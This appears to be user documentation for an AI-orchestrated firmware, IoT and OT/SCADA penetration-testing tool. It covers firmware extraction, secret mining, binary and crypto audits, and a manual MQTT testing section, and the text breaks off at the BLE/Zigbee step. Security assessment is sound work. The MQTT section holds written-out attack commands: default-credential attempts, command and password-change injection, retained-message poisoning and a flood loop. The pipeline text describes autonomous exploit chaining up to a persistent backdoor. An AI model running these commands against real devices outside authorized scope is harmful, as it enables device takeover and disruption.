Firmware & IoT Security

Prerequisites

Firmware binary file obtained from client, vendor download portal, or extracted directly from device flash memory
Device type and CPU architecture identified (ARM Cortex-M/A, MIPS, x86/x64, RISC-V, Xtensa/ESP32, ARC, PowerPC)
Written authorization covering firmware reverse engineering, device testing, and protocol interception
For live device testing: physical or network access to the target device, USB/Serial/JTAG adapter cables as needed
For OT/SCADA assessments: network access to the OT segment with safety coordinator present and change management approved
Claude API key configured (Settings → AI Configuration) for AI-driven orchestration
For protocol testing: target device IP address or BLE MAC address known

1

Select Firmware / IoT from Home Screen

Click the 🔌 Firmware / IoT / OT card on the Home Screen. Choose your assessment type from the dropdown:

Assessment Types: ───────────────────────────────────────────────────────────────── Firmware Analysis → Static analysis of a firmware binary image. Extracts filesystem, mines credentials, matches CVEs, audits crypto, decompiles key binaries. Live Device Testing → Active testing of a powered-on device over the network or via hardware debug interfaces. Includes service enumeration, web UI testing, default credential checks, and exploit attempts. Protocol Audit → Focused testing of IoT communication protocols: MQTT, CoAP, AMQP, BLE, Zigbee, Z-Wave, LoRaWAN. Tests authentication, encryption, message injection, topic/channel enumeration, and replay attacks. OT/SCADA → Industrial control system assessment covering Modbus TCP/RTU, DNP3, OPC-UA, BACnet, EtherNet/IP, PROFINET, S7comm. Non-disruptive by default with optional active testing under safety coordinator. IoT Fleet Scan → Bulk assessment of multiple devices of the same type across a subnet or IP range. Identifies firmware version drift, inconsistent configs, default credentials, and unpatched devices.

💡 You can combine assessment types. For example, select "Firmware Analysis" + "Live Device Testing" to analyze the binary and then verify findings against the running device.
2

Upload Firmware Binary

Drag and drop the firmware file onto the upload area, or click Browse to select it. PhantomYerra automatically identifies the format, architecture, endianness, and compression type.

Supported Firmware Formats: ───────────────────────────────────────────────────────────────── Extension Description Notes ───────────────────────────────────────────────────────────────── .bin Raw binary image Most common format .img Disk/flash image dd-style full dumps .elf ELF executable Linux-based firmware .hex / .ihex Intel HEX Microcontroller firmware .ubi UBI filesystem image NAND flash devices .squashfs SquashFS compressed filesystem Router/AP firmware .jffs2 JFFS2 filesystem Older embedded Linux .cramfs CramFS compressed filesystem Read-only embedded FS .yaffs2 YAFFS2 filesystem NAND flash devices .fw Vendor firmware update file Vendor-specific wrapper .pkg Update package Vendor-specific format .rbi Router firmware (ISP devices) Technicolor/Sagemcom .chk NETGEAR firmware format NETGEAR devices .trx Broadcom TRX image DD-WRT/OpenWrt routers .dlf D-Link firmware format D-Link devices .zip/.tar.gz Compressed firmware archive Extract before upload Maximum file size: 4 GB Architectures: ARM (32/64), MIPS (BE/LE), x86, x64, RISC-V, Xtensa (ESP32), ARC, PowerPC, SuperH

Remote URL option: Instead of uploading a local file, paste a direct download URL to the firmware binary. PhantomYerra downloads it, verifies the checksum (if provided by vendor), and proceeds with analysis.

💡 If you extracted firmware from flash memory via JTAG/SWD, upload the raw dump. PhantomYerra handles partition table parsing and filesystem boundary detection automatically.
3

Configure Device & Protocol Settings

If your assessment includes live device testing or protocol auditing, configure the connection interface and protocol options.

Hardware Interface Selection: ───────────────────────────────────────────────────────────────── Interface Use Case Configuration ───────────────────────────────────────────────────────────────── Network Device accessible via TCP/IP IP address, port range USB Device connected via USB COM port or /dev/ttyUSBx Serial/UART Console access via serial Baud rate (default 115200), data bits, parity, stop bits WiFi Device on wireless network SSID, device IP Bluetooth BLE or Classic Bluetooth device MAC address, adapter selection JTAG Debug interface via JTAG adapter Adapter type (J-Link, ST-Link, Bus Pirate, FTDI) SWD ARM Serial Wire Debug Adapter type, target voltage Protocol Options (multi-select): ───────────────────────────────────────────────────────────────── Protocol Port/Channel Description ───────────────────────────────────────────────────────────────── MQTT 1883 / 8883 IoT messaging (with/without TLS) CoAP 5683 / 5684 Constrained Application Protocol (UDP) AMQP 5672 / 5671 Advanced Message Queuing Protocol BLE - Bluetooth Low Energy (GATT services) Zigbee - IEEE 802.15.4 mesh networking Z-Wave - Home automation RF protocol LoRaWAN - Long-range low-power WAN UART - Serial console (hardware interface) JTAG - Debug/flash interface SWD - ARM Serial Wire Debug I2C - Inter-Integrated Circuit bus SPI - Serial Peripheral Interface bus Modbus TCP 502 Industrial control protocol Modbus RTU - Serial industrial control DNP3 20000 Distributed Network Protocol OPC-UA 4840 Industrial automation standard BACnet 47808 Building automation EtherNet/IP 44818 Industrial Ethernet PROFINET - Siemens industrial protocol S7comm 102 Siemens S7 PLC communication
4

Complete Mission Control Wizard

The wizard guides you through all configuration steps specific to firmware and IoT assessments:

Wizard Steps for Firmware/IoT: ───────────────────────────────────────────────────────────────── Step 1: Environment → Lab / Staging / Production device (Production = non-disruptive mode enforced) Step 2: Mode → Automated AI (recommended for firmware) Step 3: Surfaces → Firmware Analysis, IoT Protocols, OT/SCADA (check all that apply) Step 4: Target → Upload firmware file OR enter device IP/URL Step 5: Auth Token → Paste authorization text or upload document Step 6: Device Info → Vendor, model, firmware version (if known), architecture, operating system Step 7: AI Interview → Claude asks targeted questions: - What does this device do? - Is it internet-facing or internal only? - Does it handle sensitive data (PII, PHI, PCI)? - Are there known default credentials? - What protocols does it use? - Is the firmware update process signed? Step 8: Intensity → Standard / Deep / Exhaustive Standard: static analysis + known CVEs Deep: + binary decompilation + protocol fuzzing Exhaustive: + hardware interface testing + full exploit chain development Step 9: Review → Confirm plan, adjust scope, launch
5
AI Engine Orchestrates 12-Phase Pipeline

Claude AI drives the entire assessment autonomously, adapting its approach based on findings from each phase. The pipeline runs in order, but Claude pivots and adds extra testing when it discovers something interesting.

Phase 1: Filesystem Extraction → Recursive extraction of all filesystem layers → Handles nested archives, SquashFS, JFFS2, UBI, CramFS → Maps partition layout and boot sequence → Identifies OS (Linux, RTOS, VxWorks, QNX, ThreadX) Phase 2: Credential Mining → Scans extracted filesystem for passwords, API keys, certificates, SSH keys, tokens, connection strings → Checks /etc/passwd, /etc/shadow, config files, .env, database files, keystore/truststore files → Identifies hardcoded credentials in binary executables → Searches for cloud provider credentials (AWS, Azure, GCP) Phase 3: Binary Analysis → Runs checksec on all ELF binaries: ASLR, NX, PIE, stack canaries, RELRO, FORTIFY_SOURCE → Identifies compiler, build flags, debug symbols → Decompiles key binaries (httpd, telnetd, custom daemons) → Searches for dangerous function calls: strcpy, sprintf, system(), exec(), gets(), scanf() Phase 4: CVE Matching → Identifies all software components with versions → Matches against NVD, ExploitDB, and vendor advisories → Checks: kernel version, BusyBox, OpenSSL, libcurl, dnsmasq, dropbear, lighttpd, uhttpd, miniupnpd, avahi, samba → Produces prioritized CVE list with exploitability scores Phase 5: Crypto Audit → Checks OpenSSL/mbedTLS/wolfSSL version and configuration → Identifies weak ciphers (RC4, DES, 3DES, MD5, SHA1) → Finds self-signed certificates and expired certificates → Detects hardcoded cryptographic keys and IVs → Validates TLS configuration on all listening services → Checks for proper random number generation (no static seeds) Phase 6: Certificate & Key Check → Extracts all X.509 certificates from firmware → Validates certificate chains and trust anchors → Checks for shared private keys across devices → Identifies certificates with weak key sizes (<2048 RSA) → Detects reuse of vendor default certificates Phase 7: Kernel Analysis → Identifies kernel version and configuration → Checks for known kernel exploits (Dirty COW, etc.) → Verifies kernel hardening: KASLR, SMEP, SMAP, SELinux → Inspects loaded kernel modules for vulnerabilities → Checks /proc and /sys exposure Phase 8: Network Service Audit → Enumerates all listening services from firmware config → Tests each service for default credentials → Checks for unnecessary services (telnet, FTP, TFTP) → Validates firewall rules (iptables/nftables configuration) → Tests UPnP, mDNS, and SSDP for information disclosure Phase 9: Protocol Fuzzing → Generates malformed packets for each detected protocol → MQTT: topic injection, oversized payloads, QoS abuse → CoAP: malformed options, block-wise abuse, observe flood → BLE: GATT handle brute-force, pairing bypass attempts → Custom binary protocols: structure-aware fuzzing Phase 10: Web Interface Testing → Crawls embedded web UI (lighttpd, uhttpd, GoAhead, Boa) → Tests for command injection in all input fields → Checks authentication bypass, session management → Tests file upload/download for path traversal → Identifies information disclosure (serial, MAC, config) → Tests firmware update mechanism for manipulation Phase 11: Privilege Escalation → Tests for shell escape from restricted CLI → Checks SUID/SGID binaries for abuse → Identifies writable cron jobs and init scripts → Tests for kernel exploit applicability → Checks for debug interfaces left enabled → Attempts to gain persistent root access Phase 12: Report Generation → Produces professional pentest report with full evidence → Maps findings to OWASP IoT Top 10 and CWE references → Includes firmware composition analysis (SBOM) → Provides device-specific remediation guidance → Generates firmware security scorecard → Includes complete attack graph with exploit chains
What Claude AI Does During Firmware Analysis
- Adaptive pivoting: If Phase 2 finds hardcoded credentials, Claude immediately uses them in Phase 8 (network services) and Phase 10 (web UI) before continuing the pipeline
- CVE-to-exploit chaining: When a CVE is matched in Phase 4, Claude researches available exploits and attempts to validate them against the running device (if live testing is enabled)
- Binary code review: Claude reads decompiled C code from Phase 3 and identifies buffer overflows, format string bugs, command injection, and authentication bypasses that static CVE matching would miss
- Protocol-aware fuzzing: Claude generates context-aware fuzz payloads based on the specific protocol implementation found in the firmware, not just generic templates
- Attack chain construction: Claude connects individual findings into complete attack paths (e.g., information disclosure → credential extraction → authenticated RCE → persistent backdoor)
- Remediation authoring: Claude writes firmware-specific remediation steps including exact config changes, kernel parameters, and code fixes
6

Monitor the Scan Dashboard

The dashboard updates in real time as each phase completes. Key elements to watch:

Dashboard Panels for Firmware/IoT: ───────────────────────────────────────────────────────────────── Attack Graph → Visual map of discovered attack paths. Each node is a finding, edges show how findings chain together. Click any node for full details and evidence. Firmware Tree → Hierarchical view of the extracted filesystem. Color-coded: red = secrets found, orange = vulnerable binary, yellow = interesting config, green = clean. Click any file to inspect. Binary Findings → Table of all ELF/PE binaries with security checks: ASLR, NX, PIE, Canary, RELRO status. Sorted by risk (missing protections first). CVE Panel → Matched CVEs with CVSS scores, exploitability indicators, and links to PoC exploits. Protocol Status → Live status of protocol tests. Shows MQTT topics discovered, BLE services enumerated, Modbus registers read, etc. Activity Feed → Real-time log of every action Claude takes. Includes tool invocations, findings, pivots, and decisions with reasoning.

💡 Critical findings (CVSS 9.0+) trigger an immediate toast notification. You do not need to watch the dashboard constantly.
7

Review Findings & Download Report

When the pipeline completes, review the findings summary. Each finding includes:

Finding Structure: ───────────────────────────────────────────────────────────────── Title → Descriptive name (e.g., "Hardcoded Root Password in /etc/shadow with MD5 Hash") Severity → Critical / High / Medium / Low / Informational CVSS Score → CVSS v3.1 vector string and numeric score CVE Reference → CVE-YYYY-NNNNN (if applicable, with NVD link) CWE Reference → CWE-XXX category mapping OWASP IoT → OWASP IoT Top 10 mapping (I1 through I10) Evidence → Raw data: extracted password hashes, HTTP request/response, binary output, screenshot PoC Steps → Copy-paste ready reproduction commands Impact → Business impact description (data exposure, device takeover, lateral movement, safety risk) Remediation → Specific fix steps for this firmware/device Attack Chain → Where this finding connects in the full graph

Download the report as PDF (executive + technical), HTML (interactive), or JSON (for integration with other tools). The report includes a full firmware composition SBOM, OWASP IoT Top 10 compliance matrix, and device security scorecard.

What Claude Tests (Firmware / IoT / Embedded / OT/ICS)

Coverage spans OWASP IoT Top 10 (2018) as the baseline, plus full firmware analysis, hardware interface attacks, embedded protocol fuzzing, and OT/ICS testing. 22+ scanner modules including binary analyzer, firmware unpacker, secrets miner, CVE-BIN scanner, and the protocol fuzzer chain.

OWASP IoT Top 10 baseline

I1 Weak/Guessable/Hardcoded Passwords — extracted from /etc/shadow, /etc/passwd, hardcoded admin creds in binaries, default device passwords, vendor backdoors
I2 Insecure Network Services — telnet/FTP open, debug ports (UART pinout matched to network), unauthenticated REST endpoints, SNMP v1/v2c with default community strings
I3 Insecure Ecosystem Interfaces — cloud API auth bypass, mobile app to device pairing flaws, OTA update channel hijack, vendor cloud backend SSRF
I4 Lack of Secure Update Mechanism — unsigned firmware updates, unencrypted update channel, downgrade attacks, rollback to vulnerable firmware
I5 Insecure/Outdated Components — old kernel CVEs, BusyBox CVEs, OpenSSL Heartbleed/Shellshock, libupnp CVEs, EOL libraries via CVE-BIN
I6 Insufficient Privacy Protection — unencrypted PII storage, exposed serial/UUID/MAC, geolocation leaks, microphone/camera unauthorized access
I7 Insecure Data Transfer/Storage — cleartext MQTT, unencrypted Modbus, weak TLS ciphers, hardcoded keys, plaintext credentials in flash
I8 Lack of Device Management — no remote patching, no log forwarding, no remote reboot/factory-reset auth
I9 Insecure Default Settings — default admin/admin, debug=true in production firmware, JTAG/UART enabled in shipped device
I10 Lack of Physical Hardening — exposed UART/JTAG/SWD pinouts, unprotected SPI flash, glitching susceptibility, unencrypted bootloader

Beyond OWASP IoT — additional firmware/embedded attack classes

Binary memory-corruption — buffer overflow (stack/heap), format string, integer overflow, off-by-one, use-after-free, double-free, type confusion in C/C++ ELF binaries
Binary protections audit — NX, ASLR, PIE, RELRO, stack canary, FORTIFY_SOURCE, CFI status per binary; missing protections flagged
Crypto in firmware — hardcoded AES/DES keys, weak RSA keys (<2048 bits), reused IVs, ECB mode, predictable RNG, hardcoded SSH host keys, hardcoded TLS certs
Filesystem secrets mining — private keys (.pem/.key), API tokens, OAuth client secrets, webhook URLs, database credentials in config files
Bootloader attacks — U-Boot environment manipulation, secure-boot bypass, bootloader interruption via UART, signed-boot downgrade
Hardware interfaces — UART shell access, JTAG/SWD memory dump + register write, SPI flash dump/reflash, I²C bus sniffing, glitch attacks (voltage/clock)
Embedded protocols — MQTT (auth bypass, topic hijack, retained-message poisoning), CoAP (resource enumeration, DoS amplification), BLE (pairing capture, MitM, GATT enum), Zigbee, Z-Wave, LoRaWAN (key extraction)
UPnP / SSDP — UPnP device enumeration, SSDP reflection/amplification, IGD port-mapping abuse, NewExternalIPAddress spoofing
OT/ICS protocols — Modbus TCP (function-code abuse, register write to halt PLCs), DNP3 (master spoofing), EtherNet/IP (CIP fuzzing), PROFINET (DCP discovery), S7comm (Siemens PLC stop/program), BACnet (HVAC takeover) — non-disruptive by default with optional active testing under safety coordinator
OTA / update channel — MitM the update server, replay old firmware, strip signature, downgrade attack, malicious certificate injection
Side-channel — timing attacks on auth, power-analysis indicators, cache-timing on shared services
Mobile companion app — pairing flaws, BLE/Wi-Fi handoff, device registration abuse, cloud-API auth bypass via app token
Cloud backend — vendor IoT cloud SSRF, S3/blob misconfig, telemetry topic enumeration, cross-tenant device control

Want the complete enumeration? See the Coverage Matrix for the full per-surface vuln-class list with scanner module names (264 modules across 30+ surface domains).

⏱️ Typical duration: 30-120 minutes for firmware-only analysis. 2-6 hours for full device assessment including live testing and protocol auditing. OT/SCADA adds 1-3 hours depending on network size.

Prerequisites

Same as Automated mode prerequisites
You will approve or reject each phase before it executes
Useful when: testing production OT devices, client requires step-by-step approval, or you want to guide the analysis direction

1

Upload Firmware & Launch Wizard

Upload the firmware binary and complete the Mission Control Wizard with Semi-Automated mode selected. Claude generates the full test plan and presents it for your review before executing anything.

Claude's Initial Plan: ───────────────────────────────────────────────────────────────── "I've identified this as a TP-Link Archer C7 firmware image. Architecture: MIPS big-endian, Linux 4.14.195, SquashFS + JFFS2. Proposed analysis plan: 1. Extract filesystem (SquashFS root + JFFS2 overlay) 2. Mine credentials and secrets from extracted files 3. Analyze 47 ELF binaries for security hardening 4. Match components against CVE database 5. Audit OpenSSL 1.0.2u configuration 6. Test embedded web UI (uhttpd) for injection flaws 7. Check UPnP and SSDP services for info disclosure Estimated time: 45 minutes [Approve All] [Approve Step-by-Step] [Modify Plan]"
2

Approve Each Phase Individually

Claude presents each analysis phase with a clear description of what it will do, what tools it will use, and what data it will access. You approve, reject, or modify each one.

Phase-by-phase approval flow: ───────────────────────────────────────────────────────────────── Proposal: "Extract firmware.bin — recursive SquashFS extraction" → [Approve] → Extracted: 2,847 files across 312 directories Root filesystem: Linux 4.14, BusyBox 1.31.0 Overlay: JFFS2 with user configuration data Proposal: "Scan extracted filesystem for credentials and secrets" → [Approve] → Found 7 items: /etc/passwd → root:$1$...:0:0:root:/root:/bin/ash /etc/shadow → root:$1$GT...:17849:0:99999:7::: /etc/config/uhttpd → admin password: admin (plaintext) /etc/dropbear/ → RSA host key (2048-bit, no passphrase) /usr/lib/lua/luci/controller/admin/ → hardcoded API token /etc/ssl/private/ → self-signed cert, expires 2024-01-01 /usr/bin/cloud_agent → AWS IoT endpoint + thing certificate Proposal: "Run binary security analysis on 47 ELF executables" → [Approve] → Summary: 0/47 have full RELRO 3/47 have stack canaries 12/47 have NX enabled 0/47 are PIE 23/47 contain calls to strcpy/sprintf Proposal: "Match binary components against CVE database" → [Approve] → Critical findings: BusyBox 1.31.0 → CVE-2021-42373 through CVE-2021-42386 (14 CVEs, 3 Critical, 5 High) OpenSSL 1.0.2u → CVE-2020-1971, CVE-2021-3449 + 6 more dnsmasq 2.80 → CVE-2020-25681 through CVE-2020-25687 (DNSpooq: 7 CVEs, 4 Critical) dropbear 2019.78→ CVE-2020-36254 (information disclosure) Proposal: "Test uhttpd web interface for command injection" → [Approve] or [Skip — production device] or [Modify scope]
3

Guide the Analysis Direction

Between phases, you can add custom instructions or redirect Claude's focus:

Custom instructions you can give: ───────────────────────────────────────────────────────────────── "Focus on the cloud_agent binary — the AWS credentials are the highest priority finding. Can you decompile it and check if the IoT thing policy is over-permissive?" "Skip the web UI testing — the client has already patched that. Instead, check if the firmware update mechanism validates signatures." "The dnsmasq CVEs are critical. Can you verify if the specific vulnerable code paths are reachable given this device's dnsmasq configuration?" "Check the iptables rules — I want to know if the device exposes any services to the WAN interface."
4
Review & Finalize Report

After all approved phases complete, Claude presents the findings summary. You can:
- Adjust severity ratings before report generation
- Add manual observations or context to any finding
- Remove false positives with documented justification
- Request deeper analysis on specific findings
- Generate the report once satisfied with all findings

⏱️ Typical duration: 1-4 hours with active step-by-step approval. Duration depends on how many phases you approve and how much guidance you provide between phases.

Prerequisites

PhantomYerra Firmware Analysis Engine installed and configured
PhantomYerra Binary Analysis Engine available for decompilation
For MQTT testing: MQTT client tools available (mosquitto_sub/pub or PhantomYerra built-in)
For BLE testing: Bluetooth adapter with monitor mode support, BLE audit tools configured
For Zigbee testing: IEEE 802.15.4 compatible radio (e.g., ApiMote, Atmel RZ Raven)
For UART/JTAG: appropriate hardware adapter (FTDI, Bus Pirate, J-Link, ST-Link) and cables
For OT protocols: authorized access to OT network segment

1

Firmware Extraction

Extract the filesystem from the firmware binary. PhantomYerra supports recursive extraction of nested filesystems and compressed archives.

# ── PhantomYerra UI ────────────────────────────────────────── # Navigate to: Firmware → Extract Firmware → select firmware.bin # Select extraction mode: Standard or Recursive (for nested images) # Output appears in: _firmware.bin.extracted/ # ── Command-line extraction examples ──────────────────────── # Identify firmware contents and structure binwalk firmware.bin # Extract all identified filesystems recursively binwalk -eM firmware.bin # For modern firmware using newer formats (unblob is more thorough): unblob --extract-dir ./extracted firmware.bin # Extract JFFS2 filesystem specifically jefferson firmware.jffs2 -d ./jffs2_extracted # Extract UBI/UBIFS volumes from NAND flash dumps ubireader_extract_images firmware.ubi -o ./ubi_extracted ubireader_extract_files firmware.ubi -o ./ubi_files # Extract SquashFS (common in router firmware) unsquashfs -d ./squashfs_root rootfs.squashfs # Extract CramFS filesystem cramfsck -x ./cramfs_extracted firmware.cramfs # Handle encrypted firmware (if key is known) openssl enc -d -aes-256-cbc -in firmware.enc -out firmware.bin \ -K -iv # Inspect raw flash dump for partition boundaries hexdump -C firmware.bin | head -200 fdisk -l firmware.bin 2>/dev/null strings firmware.bin | grep -i "partition\|rootfs\|kernel"

💡 If standard extraction fails, the firmware may be encrypted or use a proprietary format. Try: (1) Check vendor documentation for decryption keys, (2) Search for decryption routines in the bootloader, (3) Use the hex inspector to manually identify filesystem magic bytes.
2

Credential Mining

Systematically search the extracted filesystem for hardcoded credentials, API keys, certificates, and other secrets.

# ── PhantomYerra UI ────────────────────────────────────────── # Navigate to: Firmware → Firmware Secret Scanner # Select the extracted directory as input # Results appear in the Findings panel with severity ratings # ── Password files ────────────────────────────────────────── cat ./extracted/etc/passwd cat ./extracted/etc/shadow # Check for empty password fields (no authentication required) grep -E '^[^:]+::' ./extracted/etc/passwd # Check for MD5/DES hashed passwords (weak) grep -E '^\$1\$|\$md5\$' ./extracted/etc/shadow # ── Configuration files with credentials ──────────────────── find ./extracted -type f $ \ -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o \ -name "*.env" -o -name "*.properties" -o -name "*.yaml" -o \ -name "*.yml" -o -name "*.json" -o -name "*.xml" -o \ -name "*.toml" -o -name "*.lua" $ -exec \ grep -ilE "password|passwd|secret|token|api.?key|credential" {} \; # ── Hardcoded credentials in binaries ─────────────────────── # Search all binary executables for embedded strings find ./extracted -type f -executable -exec strings {} \; | \ grep -iE "(password|passwd|secret|key|token|admin|root).*=" # Search for common default credential patterns strings -a ./extracted/usr/bin/* | \ grep -iE "admin.*admin|root.*root|password.*password|default.*pass" # ── SSH keys and certificates ─────────────────────────────── find ./extracted -name "*.pem" -o -name "*.key" -o -name "*.crt" \ -o -name "*.cert" -o -name "id_rsa" -o -name "id_dsa" \ -o -name "id_ecdsa" -o -name "id_ed25519" \ -o -name "authorized_keys" -o -name "known_hosts" \ -o -name "*.p12" -o -name "*.pfx" -o -name "*.jks" \ -o -name "*.keystore" -o -name "*.truststore" # ── Cloud provider credentials ────────────────────────────── grep -rn "AKIA[0-9A-Z]{16}" ./extracted/ # AWS Access Key grep -rn "aws_secret_access_key" ./extracted/ grep -rn "AccountKey=" ./extracted/ # Azure grep -rn "client_secret" ./extracted/ # OAuth/Azure grep -rn "private_key_id" ./extracted/ # GCP # ── API keys and tokens ───────────────────────────────────── grep -rnE "['\"]?[a-zA-Z0-9_]+['\"]?\s*[:=]\s*['\"][a-zA-Z0-9]{32,}['\"]" \ ./extracted/ --include="*.conf" --include="*.cfg" --include="*.lua" # ── Database credentials ──────────────────────────────────── grep -rn "sqlite\|mysql\|postgres\|mongodb\|redis" ./extracted/ \ --include="*.conf" --include="*.cfg" find ./extracted -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3"
3

Binary Analysis

Analyze compiled binaries in the firmware for security hardening, dangerous function calls, and exploitable vulnerabilities.

# ── Security hardening checks (checksec) ──────────────────── # Check all ELF binaries for security features find ./extracted -type f -executable -exec file {} \; | \ grep ELF | cut -d: -f1 | while read bin; do echo "=== $bin ===" checksec --file="$bin" done # checksec output key: # RELRO: Full RELRO (best) / Partial / No RELRO (worst) # Stack: Canary found (good) / No canary (vulnerable) # NX: NX enabled (good) / NX disabled (code exec on stack) # PIE: PIE enabled (ASLR works) / No PIE (fixed addresses) # FORTIFY: Yes (good) / No (format string risks) # ── ELF header analysis ───────────────────────────────────── readelf -h ./extracted/usr/bin/httpd # architecture, entry point readelf -l ./extracted/usr/bin/httpd # program headers (segments) readelf -S ./extracted/usr/bin/httpd # section headers readelf -d ./extracted/usr/bin/httpd # dynamic section (libraries) readelf -s ./extracted/usr/bin/httpd # symbol table # ── Dangerous function detection ──────────────────────────── # Find unsafe C functions in all binaries for bin in $(find ./extracted -type f -executable); do unsafe=$(strings "$bin" | grep -cE \ "^(strcpy|strcat|sprintf|vsprintf|gets|scanf|sscanf|fscanf)\$") if [ "$unsafe" -gt 0 ]; then echo "UNSAFE: $bin — $unsafe dangerous functions" fi done # ── Detailed string analysis ──────────────────────────────── strings -a ./extracted/usr/bin/httpd | grep -i "cmd\|exec\|system\|popen" strings -a ./extracted/usr/bin/httpd | grep -i "format\|printf\|sprintf" # ── Shared library dependencies ───────────────────────────── # Check for outdated or vulnerable libraries find ./extracted -name "*.so*" -exec readelf -d {} 2>/dev/null \; | \ grep SONAME ldd ./extracted/usr/bin/httpd 2>/dev/null # ── ASLR / NX / PIE / Stack Canary summary ────────────────── # In PhantomYerra UI: Firmware → Binary Analysis → Security Check # Produces a table with green/red indicators for each binary

💡 Focus your decompilation effort on network-facing binaries (httpd, telnetd, mqtt_broker, custom daemons). These are the most likely attack surface for remote exploitation.
4

CVE Matching

Identify all software components in the firmware, extract version strings, and match against known vulnerability databases.

# ── Component identification ──────────────────────────────── # Extract version strings from all binaries and libraries find ./extracted -type f $ -executable -o -name "*.so*" $ \ -exec strings {} \; | \ grep -oE "[a-zA-Z]+[/ ](v?[0-9]+\.[0-9]+(\.[0-9]+)?)" | \ sort -u # Common components to check: strings ./extracted/bin/busybox | head -1 # BusyBox version strings ./extracted/usr/lib/libssl.so* | grep "OpenSSL" strings ./extracted/usr/sbin/dropbear | grep -i "dropbear" strings ./extracted/usr/sbin/dnsmasq | grep -i "dnsmasq" strings ./extracted/usr/sbin/lighttpd | grep -i "lighttpd" strings ./extracted/usr/bin/uhttpd | grep "uhttpd" # ── Linux kernel version ──────────────────────────────────── strings ./extracted/lib/modules/*/modules.dep 2>/dev/null cat ./extracted/etc/os-release 2>/dev/null file ./extracted/boot/vmlinuz* 2>/dev/null # ── NVD lookup (via PhantomYerra) ──────────────────────────── # Navigate to: Firmware → Binary CVE Scanner # Input: extracted firmware directory # Output: JSON report with CVE matches, CVSS scores, # exploitability ratings, and PoC references # ── Manual NVD API query ──────────────────────────────────── # Search for specific component CVEs: # PhantomYerra → Intelligence → CVE Search → "busybox 1.31.0" # PhantomYerra → Intelligence → CVE Search → "openssl 1.0.2u" # PhantomYerra → Intelligence → CVE Search → "dnsmasq 2.80" # ── ExploitDB cross-reference ─────────────────────────────── # PhantomYerra automatically cross-references CVEs against # ExploitDB for available PoC exploits # Navigate to: Intelligence → Exploit Search
5

Crypto Audit

Audit all cryptographic implementations, certificates, and key management in the firmware.

# ── OpenSSL / TLS library version ──────────────────────────── strings ./extracted/usr/lib/libssl.so* | grep "OpenSSL" strings ./extracted/usr/lib/libcrypto.so* | grep "OpenSSL" # Any version before 1.1.1 is EOL and has known vulnerabilities # ── Weak cipher detection ─────────────────────────────────── # Check TLS/SSL configuration files grep -rn "RC4\|DES\|3DES\|MD5\|SHA1\|SSLv2\|SSLv3\|TLSv1\.0" \ ./extracted/ --include="*.conf" --include="*.cfg" --include="*.cnf" # Check for weak cipher in OpenSSL config cat ./extracted/etc/ssl/openssl.cnf 2>/dev/null | \ grep -i "cipher\|protocol\|min_protocol" # ── Certificate analysis ──────────────────────────────────── # Find and inspect all certificates find ./extracted -name "*.crt" -o -name "*.pem" -o -name "*.cert" | \ while read cert; do echo "=== $cert ===" openssl x509 -in "$cert" -noout -subject -issuer -dates \ -fingerprint -text 2>/dev/null | \ grep -E "Subject:|Issuer:|Not Before|Not After|Public-Key|Signature Algorithm" done # Check for self-signed certificates openssl x509 -in cert.pem -noout -issuer -subject | \ awk -F= 'NR==1{i=$NF} NR==2{s=$NF} END{if(i==s) print "SELF-SIGNED"}' # Check for expired certificates openssl x509 -in cert.pem -noout -checkend 0 # Check key size (RSA keys < 2048 bits are weak) openssl x509 -in cert.pem -noout -text | grep "Public-Key" # ── Hardcoded cryptographic keys / IVs ────────────────────── # Search for hex-encoded keys (16, 24, or 32 bytes = AES) grep -rnoE "[0-9a-fA-F]{32,64}" ./extracted/ \ --include="*.c" --include="*.h" --include="*.conf" | head -50 # Search for base64-encoded keys grep -rnE "[A-Za-z0-9+/]{40,}={0,2}" ./extracted/ \ --include="*.conf" --include="*.cfg" --include="*.json" # ── Random number generation ──────────────────────────────── # Check if /dev/urandom or /dev/random is used (good) # vs. hardcoded seeds or time-based seeds (bad) strings ./extracted/usr/bin/* | grep -i "srand\|seed\|random" grep -rn "/dev/urandom\|/dev/random" ./extracted/
6

MQTT Protocol Testing

Test MQTT broker security including authentication, authorization, topic enumeration, and message injection.

# ── Unauthenticated access test ───────────────────────────── # Subscribe to ALL topics without credentials mosquitto_sub -h [device-ip] -p 1883 -t "#" -v # If this succeeds → CRITICAL: No authentication required # Subscribe to system topics (broker metadata) mosquitto_sub -h [device-ip] -t "\$SYS/#" -v # Reveals: broker version, uptime, connected clients, messages # ── Authentication bypass attempts ────────────────────────── # Test empty credentials mosquitto_sub -h [device-ip] -t "#" -u "" -P "" -v # Test default credentials mosquitto_sub -h [device-ip] -t "#" -u "admin" -P "admin" -v mosquitto_sub -h [device-ip] -t "#" -u "mqtt" -P "mqtt" -v mosquitto_sub -h [device-ip] -t "#" -u "guest" -P "guest" -v mosquitto_sub -h [device-ip] -t "#" -u "device" -P "device" -v # ── Topic enumeration ─────────────────────────────────────── # Subscribe to all single-level topics mosquitto_sub -h [device-ip] -t "+" -v # Subscribe with increasing depth mosquitto_sub -h [device-ip] -t "+/+" -v mosquitto_sub -h [device-ip] -t "+/+/+" -v mosquitto_sub -h [device-ip] -t "+/+/+/+" -v # Common IoT topic patterns to check: mosquitto_sub -h [device-ip] -t "home/#" -v mosquitto_sub -h [device-ip] -t "device/#" -v mosquitto_sub -h [device-ip] -t "sensor/#" -v mosquitto_sub -h [device-ip] -t "cmd/#" -v mosquitto_sub -h [device-ip] -t "config/#" -v mosquitto_sub -h [device-ip] -t "update/#" -v mosquitto_sub -h [device-ip] -t "firmware/#" -v # ── Message injection ─────────────────────────────────────── # Publish test message to control topic mosquitto_pub -h [device-ip] -t "device/cmd" -m '{"action":"reboot"}' mosquitto_pub -h [device-ip] -t "config/update" \ -m '{"admin_password":"pwned"}' # Test retained message poisoning mosquitto_pub -h [device-ip] -t "device/status" -r \ -m '{"status":"compromised"}' # ── TLS testing (port 8883) ───────────────────────────────── # Test with TLS but without client certificate mosquitto_sub -h [device-ip] -p 8883 --cafile ca.crt -t "#" -v # Test with extracted client certificate from firmware mosquitto_sub -h [device-ip] -p 8883 \ --cafile ca.crt --cert client.crt --key client.key \ -u "device" -P "pass" -t "#" -v # ── QoS and retained message abuse ────────────────────────── # Flood with QoS 2 messages (resource exhaustion) for i in $(seq 1 1000); do mosquitto_pub -h [device-ip] -t "flood/$i" -q 2 -m "test" done # Check for will message disclosure mosquitto_sub -h [device-ip] -t "\$SYS/broker/connection/#" -v
7

BLE & Zigbee Testing

